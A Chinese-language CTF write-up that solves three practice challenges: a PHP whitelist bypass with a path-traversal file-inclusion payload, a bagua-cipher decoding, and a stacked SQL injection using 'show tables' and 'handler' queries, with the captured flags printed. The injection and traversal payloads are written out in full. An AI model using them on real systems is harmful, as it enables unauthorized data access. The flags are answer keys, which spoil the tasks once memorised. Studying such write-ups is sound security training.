[HCTF 2018]Warmup

HCTF 2018Warmup

什么也没有就给了一个表情,那我们查看源码看看

发现了有一个source.php文件,打开看看

发现了代码审计,

复制代码
<?php
    // 高亮显示当前文件的内容,通常用于调试和查看源代码
    highlight_file(__FILE__);

    // 定义一个名为 emmm 的类
    class emmm
    {
        // 定义一个静态方法 checkFile,接受一个引用参数 $page
        public static function checkFile(&$page)
        {
            // 定义一个白名单数组,包含两个键值对
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];

            // 检查 $page 是否被设置且是否为字符串
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it"; // 如果条件不满足,输出 "you can't see it"
                return false; // 返回 false
            }

            // 检查 $page 是否在白名单中
            if (in_array($page, $whitelist)) {
                return true; // 如果在白名单中,返回 true
            }

            // 使用 mb_substr 从 $page 中提取子字符串,直到遇到问号(?)
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            // 检查这个子字符串是否在白名单中
            if (in_array($_page, $whitelist)) {
                return true; // 如果在白名单中,返回 true
            }

            // 将 $page 进行 URL 解码
            $_page = urldecode($page);
            // 再次使用 mb_substr 提取子字符串,直到遇到问号(?)
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            // 检查这个子字符串是否在白名单中
            if (in_array($_page, $whitelist)) {
                return true; // 如果在白名单中,返回 true
            }

            // 如果上述所有检查都未通过,输出 "you can't see it"
            echo "you can't see it";
            return false; // 返回 false
        }
    }

    // 检查 $_REQUEST['file'] 是否不为空且为字符串,并且调用 emmm::checkFile 方法进行检查
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        // 如果条件满足,包含该文件并退出脚本
        include $_REQUEST['file'];
        exit;
    } else {
        // 如果条件不满足,输出一张图片
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

查看一下hint.php文件

发现了flag再ffffllllaaaagggg中

因为我们当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录 。

source.php/?file=hint.php?../../../../../ffffllllaaaagggg

得到flag

NSSCTF{3c195233-356a-41f1-9dc0-6342cb73563c}

SWPUCTF 2021 新生赛traditional

给了八卦图的密文,让我们解密

方法:

找到八卦图文对应的二进制编码,先转换成二进制编码再转换ASCII编码就得到flag了

我这里直接用的随波逐流:

NSSCTF{Da01sall}

强网杯 2019随便注

发现1'不行

发现1';可以

发现1';show databases;-- +可以查看数据库名

发现1';show tables;-- +可以查看表名

查看一群数字名的里面有没有flag,1';show columns from `1919810931114514`;

发现了falg这个字段名

1';handler `1919810931114514` open;handler `1919810931114514` read next;

NSSCTF{d9978321-a536-4c2e-916e-9c2be34ca27b}

相关推荐
mifengxing2 分钟前
LeetCode热题100——字母异位词分组
java·算法·leetcode·职场和发展·哈希表·hot100
微三云、小叶24 分钟前
排队免单系统底层设计:四种分配算法拆解,无预支资金的合规营销架构方案
java·前端·软件开发·商业模式·本地生活·商业思维
就叫_这个吧27 分钟前
Java+MySQL+Mybatis+Junit4实现学生信息管理系统
java·mysql·mybatis
乐之者v27 分钟前
xxl-job添加执行器
java
可乐ea1 小时前
【知识获取与分享社区项目 | 项目日记第 19 天】基于 Elasticsearch 实现关键词检索与业务权重排序
java·大数据·spring boot·mysql·elasticsearch·搜索引擎·全文检索
2501_915909061 小时前
深入解析Mock.js:功能、应用及实战案例,提升前端开发效率
android·ios·小程序·https·uni-app·iphone·webview
zzz_23682 小时前
【Spring】面试突击系列(一):IoC 与 DI 深度解析
java·spring·面试
于先生吖2 小时前
前后端分离体育服务项目,场馆计费+线下赛事排行小程序部署开发教程
java·小程序·uni-app
闪电悠米2 小时前
黑马点评-秒杀优化-01_async_seckill_idea
java·数据库·ide·redis·分布式·缓存·intellij-idea
摇滚侠2 小时前
IDEA 创建 Java 项目 lib 和 resources
java·ide·intellij-idea